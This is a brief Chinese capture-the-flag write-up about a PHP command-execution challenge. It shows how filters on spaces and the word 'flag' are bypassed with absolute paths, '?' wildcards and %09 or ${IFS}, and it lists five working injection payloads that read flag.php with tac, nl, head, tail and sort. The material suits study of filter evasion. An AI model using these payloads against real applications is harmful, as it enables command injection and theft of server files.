image-20260112120247424

1.php目录执行，ls没用过滤查看一下，当前目录就有flag.php

image-20260112120408336

2.”?”没用被过滤，我们可以采用绝对路径来绕过，空格可以用**%09**，**${IFS}代替，flag被过滤，把其中一个字母用?**代替就行

tac

1
?rec=/usr/bin/?ac%09fla?.php

nl

1
?rec=/usr/bin/?l%09fla?.php

head

1
?rce=/usr/bin/he?d%09fla?.php

tail

1
?rce=/usr/bin/ta?l%09fla?.php

sort

1
?rce=/usr/bin/s?rt%09fla?.php